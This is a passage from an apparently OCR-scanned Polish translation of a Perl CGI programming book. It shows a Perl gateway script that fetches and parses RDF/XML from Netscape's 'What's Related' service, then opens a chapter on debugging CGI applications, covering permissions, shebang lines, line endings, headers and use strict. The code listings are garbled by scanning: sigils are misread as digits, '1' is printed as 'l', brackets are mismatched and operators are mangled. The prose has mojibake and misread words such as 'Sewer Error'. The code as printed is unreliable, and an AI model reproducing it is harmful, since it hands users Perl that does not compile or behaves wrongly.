<aboutPage href="http://www.eff.org:80/"/> <child href="http://www.privacy.org/ipc" name="Internet Privacy Coalition"/> <child href="http://epic.org/" name="Electronic Privacy Information Center"/> <child href="http://www.ciec.org/" name="Citizens Internet Enpowerment Coalition"/> <child href="http://www.cdt,org" name="The Center for Democracy and Technology"/> <child href="http://www.freedomforum.org/" name="FREE! The Freedom Forum Online. News about free press"/> <child href="http://www.vtw.org/speech" name="VTW Focus on Internet Censorship legislation"/> <child href="http://www.privacyrights.org/" name="Privacy Rights Clearinghouse"/> <child href="http://www.privacy.org/pi" name="Privacy International Home Page"/> <child href="http://www.epic.org/" name="Electronic Privacy Information Center"/> <child href="http://anonymizer.com/" name="Anonymizer, Inc."/> </RelatedLinks> </RDF:RDF> Ten zapis różni się nieco od wcześniejszego prostego XML-a. Przede wszystkim nie ma DTD. Ponadto należy zauważyć, że dokument objęty jest raczej niezwykłym znacznikiem RDF:RDF. Otóż format dokumentu oparty jest na XML-u i nosi nazwę Resource Description Framework, czyli RDF. RDF opisuje dane zasobowe (na przykład zwracane przez serwisy wyszukiwawcze), stanowiąc standard w różnych domenach będących magazynami danych. Powyższy zapis XML jest względnie prosty. Znacznik <aboutPage> zawiera odsyłacz do pierwotnego, poszukiwanego URL-a. Znacznik <child> zawiera odsyłacze do wszystkich pokrewnych URL-i i ich tytułów. <RelatedLinks>, jako struktura danych nadrzędna względem wszystkich pozostałych znaczników, opa-kowuje cały dokument.
Brama CGI do middleware'u XML-a Przedstawiany niżej skrypt CGI będzie funkcjonować jako brama przeprowadzająca analizę składniową zapisu XML otrzymanego z serwera Netscape'a „Whaf s Related" (dosł. „co jest pokrewne (powiązane)"). Będzie drukować wszystkie URL-e pokrewne danemu URL-owi. Dodatkowo odpyta serwer „Whafs Related" pod kątem wszystkich URL-i pokrewnych URL-om wymienionym na otrzymanej liście, po czym je wyświetli. URL-e pokrewne względem pierwszego zestawu pokrewnych URL-i będziemy tu nazywać URL-ami o drugim stopniu pokrewieństwa. Rysunek 14.2 przedstawia planszę zapytania, natomiast jego rezultaty ilustruje rysunek 14.3. Przykład 14.4 przedstawia kod początkowego formularza. Przykład 14.4.whats_related.html <HTML> <HEAD> <TITLE>Co jest pokrewne temu, co jest pokrewne - zapytanie</TITLE> </HEAD> <BODY BGCOLOR="#ffffff"> <Hl>Podaj URL do wyszukania:</Hl> <HR> <FORM METHOD="POST"> <INPUT TYPE="text" NAME="url" SIZE=30><P> <INPUT TYPE="submit" NAME="submit_query" VALUE="Wyślij zapytanie") </FORM> </BODY> </HTML> Skorzystamy z dwóch modułów Perla, które zapewnią serwisowi wyszukiwawczemu obsługę połączenia na poziomie elementarnych danych oraz ich przekład. Najpierw przy użyciu modułu biblioteki do oprogramowy wania sieci Web (LWP) przejmiemy dane pochodzące z serwisu wyszukiwawczego. Ponieważ serwer „Whafs Related" może odpowiadać na żądania GET, skorzystamy z ograniczonego LWP, czyli LWP::Simple, zamiast pełnowymiarowego API. Następnie, posługując się modułem XML::Parser, przetworzymy pobrane dane tak, abyśmy mogli operować na XML-u przy użyciu struktur danych języka Perl. Kod przedstawiamy w przykładzie 14.5. Przykład 14.5. whats_related.cgi #!/usr/bin/perl -wT use strict; use constant WHATS_RELATED_URL => "http://www-rl.netscape.com/wtgn?"; use vars qw( 0REKORDY $REKORDY_POKREWNE ); use CGI; use CGI::Carp qw( fatalsToBrowser ); use XML::Parser; use LWP::Simple; my $q = new CGI () ; if ( $q->param( "url" ) ) { display_whats_related_to_whats_related( $q ); } else { print $q->redirect( "/quiz.html" ); } sub display_whats_related_to_whats_related { my $q = shift;
Programowanie CGI w Perlu
my $url = $q->param( "url" ); my $nazwa_skryptu = $q->script_name; print $q->header( "text/html" ), $q->start_html( "Co jest pokrewne temu, co jest pokrewne - kwerenda" ), $q->hl( "Co jest pokrewne temu, co jest pokrewne - kwerenda" ), $q->hr, $q->start_ul; my @pokrewne = get_whats_related_to_whats_related( $url ) ; foreach ( @pokrewne ) { print $q->a( ( -href => "$nazwa_skryptu?url=$_->[0]" }, "[*]" ), $q->a( ( -href => "$_->[0]" }, $_->[1] ); my @dalej_pokrewne = @{$_->[2]}; if ( @dalej_jpokrewne ) { print $q->start_ul; foreach ( @dalej_pokrewne ) { print $q->a( { -href => "$nazwa_skryptu?url=$_->[0]" }, $q->a( { -href => "$_->[(0]" }, $_->[1] ); } print $q->end_ul; } else { print $q->p( "Nie znaleziono pokrewnych pozycji" ); } if ( ! @pokrewne ) { print $q->p ( "Niestety, nie znaleziono pokrewnych pozycji." ); } print $q->end_ul, $q->p( "[*] = PrzejdĹş do tego, co jest pokrewne danemu URL-owi." ), $q->hr, $q->start_form( -method => "GET" ), $q->p( "Podaj kolejny URL do odszukania:", $q->text_f ield ( -name => "url", -size => 30 ), $q->submit( -name => "submit_query", -value => "WyĹ&#x203A;lij zapytanie" ) ), $q->end_form, $q->end_html; } sub get_whats_related_to_whats_related { my $url = shift; my @pokrewne = get_whats_related( $url ); my $rekord; foreach $rekord ( @pokrewne ) { $rekord->[2] = [ get_whats_related( $rekord->[0] } return @pokrewne; } sub get_whats_related { my $url = shift; my $parser = new XML::Parser( Handlera => { Start => \&handle_start } ); my $dane = get( WHATS_RELATED_URL . $url ); $dane =~ s/&/&amp;/g; while ( $dane =~ s | (=\"[^"]*)\"([^/ ])|$l'$2|g ) { }; while ( $dane =~ s | (=\"[^"]*)<[^"]*>|$1|g ) { }; while ( $dane =~ s | ( = \"[^"]*)<|$1|g ) { }; while ( $dane =~ s | (=\"[^"]*)>|$1|g ) { }; $dane =~ s/[\x80-\xFF]//g; local @REKORDY = (); local $REKORDY_POKREWNE = l; $parser->parse( $dane ) ; sub handle_start { my $expat = shift; my $element = shift; my %atrybuty = @_; if ( $element eq "child" ) { my $href = $atrybuty{"href"}; $href =~ s/http.*http(.*)/http$l/; if ( $atrybuty{"name" } && $atrybuty{ "name" } [- /smart browsing/i && $REKORDY_POKREWNE ) {
173
Programowanie CGI w Perlu
174
if ( $atrybuty{ "name" =~ /no related/i ) { $REKORDY_POKREWNE = 0; } else { my $pola = [ $href, $atrybuty{ "name" } ]; push @REKORDY, $pola; } } } } return @REKORDY; } Oprócz CGI.pm używamy modułu CGI::Carp z opcją fatalsToBrowser, aby wszelkie błędy były sygnalizowane w przeglądarce, co nam ułatwi ewentualne de-bugowanie. Jest to istotne, ponieważ XML::Parser przerywa działanie (funkcją die), gdy przy analizie składniowej natrafi na błąd. Jądrem programu jest XML::Parser. Będzie ekstrahować dane z pokrewnych elementów. LWP::Simple jest uproszczoną wersją LWP, biblioteki funkcji służących do pobierania danych spod wskazanych URL-i. Tworzymy obiekt CGI, a następnie sprawdzamy, czy otrzymaliśmy parametr url. Jeśli tak, to przetwarzamy zapytanie; w przeciwnym razie kierujemy użytkownika do formularza HTML. W celu przetworzenia zapytania wywołujemy procedurę wyświetlającą to „co jest pokrewne temu, co jest pokrewne" danemu URL-owi (di-splay_whats_related_to_whats_related). Procedura display_whats_related_to_whats_related zawiera kod, który wyświetla w HTML-u listę URL-i pokrewnych względem zgłoszonego URL-a, włącznie zURL-ami drugiego stopnia. Deklarujemy zmienną leksykalną o nazwie @pokrewne. Po zwróceniu danych przez procedurę get_whatsj-elated_to_whats_related struktura ta zawiera całą informację o pokrewnych URL-ach. Dokładniej mówiąc, dpokrewne zawiera referencje do URL-i pokrewnych, które zkolei zawierają referencje do URL-i o drugim stopniu pokrewieństwa, gpokrewne zawiera referencje do tablic, których elementami są URL, tytuł URL-a oraz kolejna tablica, wskazująca URL-e o drugim stopniu pokrewieństwa. Podtablica URL-i drugiego stopnia zawiera tylko dwa elementy: URL i tytuł. Rysunek 14.4 ilustruje tę strukturę danych. Jeśli w odpowiedzi na zgłoszony URL nie znaleziono pozycji pierwszego stopnia, drukowana jest wiadomość powiadamiająca o tym fakcie użytkownika. Następnie mamy wydrukować łącza hipertekstowe odsyłające z powrotem do tego samego skryptu. W ramach przygotowań tworzymy zmienną o nazwie $na-z wa_s kr yptu, która będzie przechowywać nazwę bieżącego skryptu. Wykorzystamy ją w odsyłaczu zawartym w znaczniku <A HREF>. Aby ją uzyskać, wygodnie jest użyć metody script_name modułu CGI.pm. Oczywiście, w tym skrypcie moglibyśmy się posłużyć nazwą statyczną. Jednak jej kodowanie jest generalnie uznawane za dobre podejście, gdyż zapewnia elastyczność: gdy skryptowi nadamy inną nazwę, nie pociągnie to za sobą modyfikacji kodu. Przy każdym URL-u drukujemy znaki „[*]" osadzone w znaczniku <A>, który będzie zawierać zwrotny odsyłacz do skryptu oraz bieżący URL przekazywany do niego jako parametr wyszukiwania. Jeśli jeden z elementów struktury @pokrewne zawierałby ["http://www.eff.org/", "The Electronic Frontier Foundation"], wynikowy zapis HTML miałby następującą postać: <A HREF="whatsrelated.cgi?url=http://www.eff.org/">[*]</A> <A HREF="http://www.eff.org/">"The Electronic Frontier Foundation"</A> Dzięki temu użytkownik będzie mógł zagłębić się o krok dalej w powiązaniach, uruchamiając ten sam skrypt, lecz biorąc za podstawę nowo wybrany URL. Tuż po nim drukowany jest tytuł ($_->[1]) z hipertekstowym odsyłaczem do URL-a ($_->[0]) reprezentowanego przez dany tytuł. Struktura @dalej_pokrewne zawiera URL-e ($_-> [2]) pokrewne właśnie wydrukowanemu URL-owi. Jeśli istnieją URL-e o drugim stopniu pokrewieństwa, także i je możemy wydrukować. Format tablicy takiego URL-a nie różni się od tablicy URL-a o pierwszym stopniu pokrewieństwa, a jedynym wyjątkiem jest brak trzeciego elementu, który by zawierał odwołania do dalszych URL-i. $_-> [0] to URL, a $_-> [ l ] to jego tytuł. Jeśli struktura @dale j_pokrewne jest pusta, to użytkównik jest powiadamiany, że nie ma pozycji pokrewnych względem właśnie wyświetlanego URL-a. Na koniec generujemy stopkę strony zawierającej wyniki zapytania. Na dodatek tworzone jest pole tekstowe, w którym użytkownik może podać kolejny URL do wyszukania. Procedura get_whats_related_to_whats_related zawiera instrukcje odczytujące URL i konstruujące strukturę danych, w której oprócz URL-i pokrewnych względem przekazanego URL-a znajdą się również URL-e o drugim stopniu pokrewieństwa. W strukturze @pokrewne zostaje umieszczona lista pozycji pokrewnych względem pierwszego URL-a. Następnie badany jest każdy rekord w strukturze @pokrewne, by sprawdzić, czy istnieje jakakolwiek pozycja powiązana z określonym URL-em. Jeśli istnieje, to trzeciemu elementowi ($rekord->[2]) rekordu przypisywana jest referencja do sprawdzanych w danej chwili URL-i o drugim stopniu pokrewieństwa. Na koniec zwracamy całą strukturę danych @pokrewne. Procedura get_whats_related zwraca tablicę referencji do tablic z dwoma elementami: URL-em pokrewnym i tytułem tego URL-a. Aby uzyskać te informacje, musimy je poprzez analizę składniową wydobyć z dokumentu XML. Posłużymy się obiektem XML::Parser, reprezentowanym zmienną $parser. Analizatory składni (czyli parsery) XML nie dokonują rozbioru danych w sposób liniowy. Bądź co bądź, zapis XML ma naturę hierarchiczną. Parsery mogą czytać dane XML na dwa różne sposoby.
Programowanie CGI w Perlu
175
W pierwszym wypadku analizator XML wczytuje cały dokument, a zwraca trzy obiekty reprezentujące hierarchię dokumentu XML. Takie podejście realizuje w Per-lu moduł XML::Grove, napisany przez Kena MacLeoda. Drugi sposób analizy składniowej dokumentów XML polega na użyciu analizatora składni w rodzaju SAX (skrót: Simple API for XML). Działanie analizatora tego rodzaju opiera się na zdarzeniach; na takiej właśnie zasadzie działa XML::Parser. Analizator oparty na zdarzeniach zyskał sobie popularność, ponieważ zwracanie danych do programu go wywołującego rozpoczyna natychmiast wraz z analizą składniową dokumentu. Nie trzeba czekać, aż cały dokument zostanie przeanalizowany i uzyskamy pełny obraz rozmieszczenia elementów XML w dokumencie. XML::Parser przyjmuje uchwyt pliku lub tekst dokumentu XML, a następnie przegląda strukturę pod kątem określonych zdarzeń. Gdy jedno z nich wystąpi, analizator wywoła odpowiednią procedurę Perla, aby je od razu obsłużyć. W omawianym programie definiujemy procedurę obsługi poszukującą początku jakiegokolwiek znacznika XML. Deklarujemy ją poprzez referencję do procedury o nazwie handle_start. Definicja tej procedury znajduje się kontekście lokalnym procedury get_whats_related. XML::Parser obsługuje nie tylko znaczniki początkowe. Daje również możliwość pisania procedur obsługi innych typów zdarzeń, na przykład wystąpień znaczników końcowych, a nawet znaczników o konkretnych nazwach. Jednak w tym programie wystarczy nam zadeklarowanie procedury obsługi, która będzie wyzwalana przy każdym wystąpieniu początkowego znacznika XML. Zmienna $dane zawiera surowy kod XML do analizy. Procedura get została zaimportowana wcześniej, wraz z wciągnięciem modułu LWP::Simple do skryptu w Per-lu. Kiedy razem z poszukiwanym URL-em do procedury get przekazujemy stałą WHATS_RELATED_URL, procedura ta sięgnie do Internetu i pobierze dane przekazane na wyjście przez serwer Web serwisu „Whafs Related". Zauważmy, że tuż po odebraniu danych (w zmiennej $dane), poddawane są one pewnej dodatkowej obróbce. XML::Parser przeprowadzi analizę składniową tylko w wypadku dobrze uformowanych dokumentów XML. Niestety serwer XML czasami zwraca dane, które nie są całkowicie dobrze uformowane, więc „uniwersalne" analizatory XML miewają z nimi trudności. Aby obejść ten problem, odfiltrowujemy wewnątrz znaczników dane, które mogłyby stać się przyczyną problemów. Wyrażenia regularne w powyższym kodzie transformują etki (&, ang. amperscmd), znaki prostych cudzysłowów podwójnych, znaczniki HTML oraz luźne znaki < i > do postaci ich dobrze uformowanych odpowiedników. Ostatnie wyrażenie regularne zajmuje się odfiltrowywaniem znaków spoza zbioru ASCII. Przed analizą składniową zmiennej globalnej @ REKORDY przypisujemy zbiór pusty, a zmiennej $REKORDY_POKREWNE wartość „prawda" (1). Wywołanie metody parse obiektu $parser rozpoczyna proces analizy składniowej. Zmienna $dane, która przekazywana jest do tej metody, zawiera XML-owy zapis do odczytania. Do metody parse można też podać dane innego typu, w tym uchwyty do plików XML. Przypomnijmy sobie, że przy tworzeniu obiektu $parser została do niego przekazana procedura handle_start. Procedura ta, zdefiniowana wewnątrz procedury get_whats_related, wywoływana jest przez XML::Parser za każdym razem, gdy natrafi on na znacznik początkowy. Zmienna $expat to referencja do samego obiektu XML::Parser. $elament to nazwa elementu początkowego, a %atrybuty to tablica asocjacyjna atrybutów zadeklarowanych wewnątrz elementu XML. W rozważanym przykładzie zainteresowani jesteśmy tylko znacznikami rozpoczynającymi się nazwą „child" i zawierającymi atrybut href. Ponadto filtrowany jest znacznik w zmiennej $href, tak że z URL-a usuwane są wszelkie informacje nie-URL-owe. Jeśli brak atrybutu nazwy lub jeśli nazwa atrybutu zawiera frazę „smart browsing", lub jeśli nie znaleziono wcześniej rekordów powiązanych z danym URL-em, to do tablicy @REKORDY niczego nie dodajemy. Jeśli atrybut nazwy zawiera frazę „no re-lated", znacznikowi $ REKORD Y_POKREWNE przypisujemy wartość „fałsz" (0). W przeciwnym razie (jeśli żaden z powyższych warunków nie jest spełniony) do tablicy @REKORDY dodajemy URL. W tym celu tworzymy referencję do tablicy z dwoma elementami: URL-em i tytułem URL-a. Na koniec zwracana jest skompilowana tablica @REKORDY. Opisaliśmy prosty, przykładowy program CGI do automatycznego wydobywania danych z serwera opartego na XML-u. Chociaż serwer „Whaf s Related" to zaledwie jednostkowy serwer XML, można się spodziewać, że wraz z rosnącą popularnością XML-a będzie przybywać w Internecie serwisów bazodanowych, dostarczających dane jeszcze innego rodzaju. Ponieważ XML jest standardowym językiem pozwalającym dostarczać adiustowane dane w sieci Web, przedstawiony skrypt CGI można rozbudować tak, aby umożliwiał dostęp do innych magazynów danych. Więcej informacji na temat XML-a, DTD, RDF-u, a także perłowej biblioteki XML::Parser można znaleźć pod adresem http://wivw.xml.com/. Oczywiście, XML::Parser dostępny jest również w sieci CPAN.
Rozdział 15 Debugowanie aplikacji CGI Do tej pory omówiliśmy już sporą liczbę aplikacji CGI, od banalnych do bardzo złożonych, lecz nie poruszyliśmy jeszcze technik potrzebnych przy ich debugowa-niu, gdyby coś działało nie tak, jak powinno. Debugowanie aplikacji CGI niewiele się różni od debugowania aplikacji jakiegokolwiek innego typu, ponieważ, bądź co bądź, kod to kod. Jednak ze względu na fakt, że aplikacje CGI działają w sieci na zdalnym serwerze w szczególnym środowisku stanowionym przez serwer Web, dokładna identyfikacja problemów czasami jest trudna.
Programowanie CGI w Perlu
176
Cały niniejszy rozdział poświęcony jest debugowaniu aplikacji CGI. Najpierw zapoznamy się z częściej występującymi błędami, które przydarzają się projektantom przy implementowaniu aplikacji CGI. Można tu wymienić niepoprawną konfigurację serwera, wadliwie określone uprawnienia oraz naruszenia protokołu HTTP. Następnie zapoznamy się ze wskazówkami, sztuczkami i narzędziami, które pomogą nam w wytropieniu przyczyn problemów i opracowaniu doskonalszych aplikacji.
Częste błędy Ten podrozdział może posłużyć za swoistą listę kontrolną, na podstawie której można diagnozować często występujące problemy. Oto lista najczęstszych źródeł błędów: Źródło problemu Typowy komunikat o błędzie Uprawnienia do aplikacji 403 Forbidden Wiersz zaczynający się znakami #! 403 Forbidden Zakończenia wierszy 500 Internal Sewer Error "Zdeformowany" nagłówek 500 Internal Server Error Przyjrzyjmy się bliżej każdemu z nich. Uprawnienia do aplikacji Serwery Web zazwyczaj są tak skonfigurowane, że działają jako nobody lub inny użytkownik z minimalnymi uprawnieniami pod względem dostępu do zasobów. Jest to ważny środek zapobiegawczy - jeden z tych, które mogą uchronić dane, gdyby zdarzył się atak sieciowy. Ponieważ proces serwera Web nie ma uprawnień do zapisu, odczytu ani wykonywania w odniesieniu do plików w katalogach, które nie są ogólnodostępne (tzn. nie są dostępne dla „świata", powszechnie), większość danych pozostanie nienaruszona. Jednak wiążą się z tym pewne problemy. Pierwszy i najważniejszy: aby serwer mógł wykonywać aplikaq'e CGI, musimy ustawić bit określający prawa do ich wykonywania przez „świat". Uprawnienia w stosunku do aplikacji można sprawdzić w sposób następujący: $ ls -l /usr/local/apache/cgi-bin/clock -rwx———— l shishir 3624 Oct 17 17:59 clock Pierwsze pole przedstawia listę uprawnień do pliku. Dzieli się ono na trzy części (od lewej do prawej): uprawnienia dla właściciela, grupy i świata (czyli wszystkich innych), przy czym pierwsza litera wskazuje typ pliku: zwykły plik albo katalog. W tym wypadku właściciel ma wyłączne prawa do odczytu, zapisu i wykonywania programu. Gdybyśmy chcieli, aby serwer mógł wykonywać tę aplikację, musielibyśmy wydać następujące polecenie: $chmod 711 clock -rwx—x—x l shishir 3624 Oct 17 17:59 clock* Polecenie chmod (zmień tryb) zmienia uprawnienia do pliku. Ósemkowy kod 711 oznacza uprawnienia do odczytu (4 ósemkowo), zapisu (2 ósemkowo) i wykonywania (l ósemkowo) dla właściciela oraz uprawnienia tylko do wykonywania (l ósemkowo) dla pozostałych użytkowników. Jednak na tym nasze kłopoty z uprawnieniami się nie kończą. Uprawnienia do pliku mogą stać się przeszkodą, a zwłaszcza uniemożliwiać tworzenie lub aktualizację plików. Zajmiemy się tym bliżej w podrozdziale „Zalecenia przy tworzeniu kodu w Perlu". Pomimo takiego skonfigurowania serwera, by rozpoznawał aplikacje CGI, i wprowadzenia uprawnień do wykonywania, aplikacje mogą nie działać, co zaraz zobaczymy. Wiersz zaczynający się od znaków #! Jeśli aplikaq'a CGI została napisana w Perlu, Pythonie, Tcl lub innym interpretowanym języku skryptowym, to na samym początku musi mieć wiersz zaczynający się od pary znaków #!, nazywanej po angielsku pound-bang, na przykład: #!/usr/bin/perl -wT Taki wiersz znajdował się w każdym skrypcie przedstawionym w książce. Kiedy serwer Web stwierdza, że żądanie skierowane jest do aplikacji CGI, aby ją wykonać, wywołuje systemową funkcję exec. Jeśli tylko aplikacja została skompilowana jako wykonywalna, system operacyjny od razu ją uruchomi. Jeśli jednak aplikacja jest skryptem, system operacyjny na podstawie pierwszego wigrsza ustali, jakiego interpretera ma użyć. Jeśli w skrypcie brakuje wiersza pound-bang lub jeśli podana ścieżka jest błędna, zgłoszony zostanie błąd. W niektórych systemach lokalizację interpretera perl określa ścieżka /usr/bin/perl, podczas gdy w innych jest to /usr/local/bin/perl. Aby ustalić jego położenie w systemach uniksowych, można użyć jednego z poniższych poleceń (w zależności od powłoki): $ which perl $ whence perl Jeśli żadne z tych poleceń nie działa, należy zamiast interpretera o nazwie perl poszukać perlS. Jeśli i jego nie można odnaleźć, należy skorzystać z niżej podanych poleceń. Zwracają wszystko, co w systemie plików ma nazwę perl, więc wynikiem może być lista, a nie pojedyncza pozycja. Polecenie find przeszukuje cały system plików, więc jeśli system jest obszerny, operacja może trochę potrwać. $ locate perl $ find / -name perl -type f -print 2>/dev/null Należy pamiętać jeszcze o jednym: jeśli mamy kilka interpreterów (tj. różnych wersji) tego samego języka, powinniśmy zadbać o to, by skrypty odwoływały się do zamierzonego przez nas. W przeciwnym razie
Programowanie CGI w Perlu
177
mogą się pojawić niespodziewane efekty. Na przykład w niektórych systemach oprócz interpretera perlS pozostaje zainstalowany perl4. Aby poznać wersję interpretera, należy przetestować ścieżkę użytą w pierwszym wierszu skryptu, stosując przy tym przełącznik -v. Zakończenia wierszy Jeśli korzystamy ze skryptu CGI pobranego z innego serwisu lub zmodyfikowanego na innej platformie, składające się na niego wiersze mogą mieć zakończenia niezgodne ze stosowanymi w miejscowym systemie. Na przykład perl w Uniksie zgłosi dużą liczbę błędów składniowych, jeśli spróbujemy użyć pliku, który został sformatowany pod kątem Windows. Format takich plików można skorygować poleceniem perl wydanym z wiersza poleceń: $ perl -pi -e 's/\r\n/\n/' kalendarz.cgi „Zdeformowany" nagłówek Zgodnie z omówieniem w rozdziale 2, „HTTP - protokół transferu hipertekstu", i w rozdziale 3, „CGI wspólny interfejs bramy", oraz z tym, co widzieliśmy we wszystkich przykładach, wszystkie aplikacje CGI muszą zwracać poprawny HTTP-owy nagłówek typu treści, a po nim znak przejścia do nowego wiersza, poprzedzający właściwą treść, na przykład: Content-type: text/html (pozostałe nagłówki) (treść) Skutkiem niezastosowania się do tego formatu zwykle jest błąd serwera: 500 Sewer Error. Częściowym rozwiązaniem jest zwracanie wszystkich niezbędnych nagłówków HTTP, włącznie z typem treści, możliwie jak najbliżej początku działania aplikacji CGI. W następnym podrozdziale przyjrzymy się bardzo użytecznej technice, która pomoże nam zrealizować to zadanie. Jednak taki błąd bywa sygnalizowany jeszcze z innych powodów. Jeśli aplikacja CGI generuje błędy i drukuje je na STDERR, komunikaty o błędach mogą zostać zwrócone do serwera Web, zanim trafią do niego jakiekolwiek informacje nagłówkowe. Problem ten może także dotyczyć błędów pojawiających się już po wydrukowaniu nagłówków, ponieważ Perl buforuje dane kierowane do STDOUT. Jaka z tego płynie nauka? Zanim spróbujemy wykonać aplikację poprzez sieć Web, należy ją sprawdzić z poziomu wiersza polecenia. Jeśli aplikacje CGI tworzymy w Perlu, to możemy użyć przełącznika -wcT chcąc skontrolować składnię: $ perl -wcT clock.cgi syntax error in file clock.cgi at linę 9, at EOF clock.cgi had compilation errors Gdy nie ma błędów, lecz są ostrzeżenia, możemy zobaczyć takie oto komunikaty: $ perl -wcT clock.cgi Name "main::opt_g" used only once: possible typo at clock.cgi linę 5. Name "main::opt_u" used only once: possible typo at clock.cgi linę 6. Name "main::opt_f" used only once: possible typo at clock.cgi linę 7. clock.cgi syntax OK Również na ostrzeżenia należy zwracać baczną uwagę. Kontroler składni Perla został w ciągu lat bardzo udoskonalony i potrafi wychwycić wiele potencjalnych i faktycznych błędów, takich jak użycie nie istniejących zmiennych oraz niezainicjowanych zmiennych lub uchwytów plików. Gdyby nie było ani ostrzeżeń, ani błędów, wtedy na ekranie zobaczymy: $ perl -wcT clock.cgi clock.cgi syntax OK Dla przypomnienia: działanie aplikacji powinniśmy sprawdzać z poziomu wiersza polecenia, zanim jej funkcjonowanie skontrolujemy poprzez sieć Web.
Zalecenia przy tworzeniu kodu w Perlu W tym podrozdziale omówimy czynności programistyczne, które pomagają opracować wolne od usterek i stabilne aplikacje. Nie sprawiają większych trudności, a pomagają uniknąć błędów. Oto opisujące je zalecenia: • Zawsze stosuj use strict. • Sprawdzaj kody stanu wywołań systemowych. • Przy każdej próbie otwarcia pliku upewniaj się, czy została pomyślnie zrealizowana. • Przechwytuj funkcję die. • Blokuj pliki. • Gdy to konieczne, nie dopuszczaj do buforowania strumienia wyjściowego. • Gdy to konieczne, używaj instrukcji binmode. Przyjrzyjmy się im bliżej. Użycie pragmy strict We wszystkich skryptach Perla dłuższych niż kilka linijek i we wszystkich skryptach CGI powinna się znaleźć pragma strict. Na początku skryptu wystarczy umieścić następujący wiersz: use strict; Jeśli nie wyspecyfikujemy listy importowej, strict sprawi, że zasygnalizowane zostaną błędy, gdy w skrypcie pojawią się referencje symboliczne, „gołe" (mające postać jednowyrazowej instrukcji) identyfikatory procedur, zmienne, które nie są zlokalizowane, w pełni kwalifikowane lub predefiniowane poprzez argument
Programowanie CGI w Perlu
178
vars. Oto dwa fragmenty kodu, z których jeden w obecności strict będzie kompilowany pomyślnie, podczas gdy przy drugim zgłoszone zostaną błędy: use strict; $id = 2000; $pole = \$id; print $$pole; ## Sukces, wydrukuje się 2000 $pole = "id"; print $$pole; ## Błąd! Referencje symboliczne to nazwy zmiennych, za pomocą których sięga się do kryjących się za nimi obiektów. W drugim z powyższych fragmentów próbujemy pośrednio sięgnąć do wartości $id. W rezultacie Perl 19 wygeneruje następujący komunikat o błędzie : Can't use string ("id") as a SCALAR ref while "strict refs" in use ... Przyjrzyjmy się teraz „gołym" identyfikatorom procedur. Rozważmy następujący przykład: use strict "subs"; greeting; ... sub greeting { print "Witaj, kolego!"; } Gdy interpreter Perla dotrze do drugiego wiersza, nie będzie w stanie rozpoznać, co to jest. Mógłby to być łańcuch w kontekście pustym lub mogłoby to być wywołanie procedury lub funkcji. Gdy uruchomimy ten kod, 20 Perl zgłosi następujący błąd : Bareword "greeting" not allowed while "strict subs" in use at simple linę 3. Execution of simple aborted due to compilation errors. Problem możemy rozwiązać na kilka sposobów. Możemy utworzyć prototyp, zadeklarować greeting jako procedurę korzystając z modułu subs, użyć przedrostka & lub przekazać pustą listę, jak niżej: sub greeting; ## prototyp use subs qw (greeting); ## użycie modułu subs &greeting; ## przedrostek greeting (); ## pusta lista W ten sposób wyraźnie wskazujemy na użycie w aplikacji procedury. Ostatnie ograniczenie, które strict na nas nakłada, dotyczy deklarowania zmiennych. Nie ma chyba nikogo, kto nie natrafiłby na kod, w którym nie mógł się zorientować, czy określona zmienna jest globalna czy lokalna względem określonej funkcji lub procedury. Zgadywankę możemy wyeliminować, stosując wraz ze strict argument var s. Oto banalny przykład: use strict "vars"; $picie = "mineralna"; 21 Ponieważ nie poinformowaliśmy, co to jest $picie, zgłosi następujący błąd : Global symbol "$picie" requires explicit package name at simple linę 3. Execution of simple aborted due to compilation errors. Problem można rozwiązać, używając w pełni kwalifikowanej nazwy zmiennej, deklarując zmienną z wykorzystaniem modułu vars lub lokalizując ją instrukcją my, jak niżej: $main::picie = "mineralna" ## w pełni kwalifikowana nazwa use vars qw ($picie); ## deklaracja poprzez moduł vars $picie = "mineralna"; ## lokalizacja Jak widać, moduł strict ustanawia bardzo restrykcyjne środowisko tworzenia aplikacji. Niemniej jest to bardzo pożyteczny i skuteczny środek, ponieważ pomaga w tropieniu rozmaitych usterek. W dodatku moduł ten umożliwia nam zachowanie dużej swobody. Jeśli mamy pewność, że określony fragment kodu działa poprawnie, lecz nie spełnia warunków trybu strict, niektóre ograniczenia możemy wyłączyć, jak niżej: ## kod spełniający warunki trybu strict { no strict ## lub: no strict "vars"; ## kod, który nie spełnia warunków trybu strict }
19
Nie można użyć łańcucha („id") jako referencji skalarnej, gdy obowiązują „referencje ścisłe" (przyp. tium.).
20 Użycie samego wyrazu „greeting" jest niedozwolone, gdy obowiązują „procedury ścisłe", w prostym wierszu 3. Ze względu na błędy kompilacji wykonanie zostało przerwane (przyp. tłum.). 21 Globalny symbol „Spicie" wymaga jawnej deklaracji nazwy, w prostym wierszu 3. Ze względu na błędy kompilacji wykonanie zostało przerwane (przyp. tłum.).
Programowanie CGI w Perlu
179
Cały kod w bloku wyznaczonym klamrami nie będzie podlegał ograniczeniom. Dzięki tej elastyczności i zapewnianej kontroli nie ma powodu, aby nie stosować pragmy strict, która pomaga tworzyć porządniejsze, wolne od wad aplikacje. Sprawdzanie kodów stanu wywołań systemowych Zanim zajmiemy się omówieniem, powinniśmy zakonotować sobie następujące przykazanie: „Zawsze sprawdzaj wartości zwracane przez wszystkie polecenia systemowe, w tym open, eval i system." Ponieważ serwery Web zwykle są skonfigurowane tak, że działają jako nobody lub użytkownik o minimalnych uprawnieniach pod względem dostępu, musimy zachować dużą ostrożność przy plikowych lub systemowych operacjach wejścia-wyjścia. Rozważmy następujący kod: #!/usr/bin/perl -wT print "Content-type: text/html\n\n"; open PLIK, "/usr/local/apache/data/receptury.txt"; while (<PLIK>) { s/^\s*$/<P>/, next if (/^\s*$/); s/\n/<BR>/; ... } close PLIK; Jeśli katalog jusr/local/apache/data nie jest powszechnie („dla świata") dostępny do odczytu, to wykonanie polecenia open nie powiedzie się i nie zostaną wygenerowane żadne dane wyjściowe (skrypt będzie „niemy"). Takie zachowanie się skryptu jest niepożądane, ponieważ użytkownik nie będzie wiedział, co się dzieje. Rozwiązaniem tego problemu jest sprawdzanie stanu wykonania polecenia open: open PLIK, "/usr/local/apache/data/receptury.txt" or error ( $q, "Niestety, brak dostępu do receptur!" ); print "Content-type: text/html\n\n"; Gdy polecenie open zawiedzie, wywołujemy odpowiednio spreparowaną funkcję error, aby zwrócić ładnie sformatowany dokument HTML, po czym opuszczamy skrypt. Tak samo należy postępować przy tworzeniu lub aktualizacji plików. Aby aplikacja CGI mogła zapisywać do pliku, musi mieć uprawnienia do zapisu w stosunku do pliku oraz katalogu, w którym plik się znajduje. Wśród częściej stosowanych funkcji systemowych można'wymienić: open, dose,flock, eval i system. 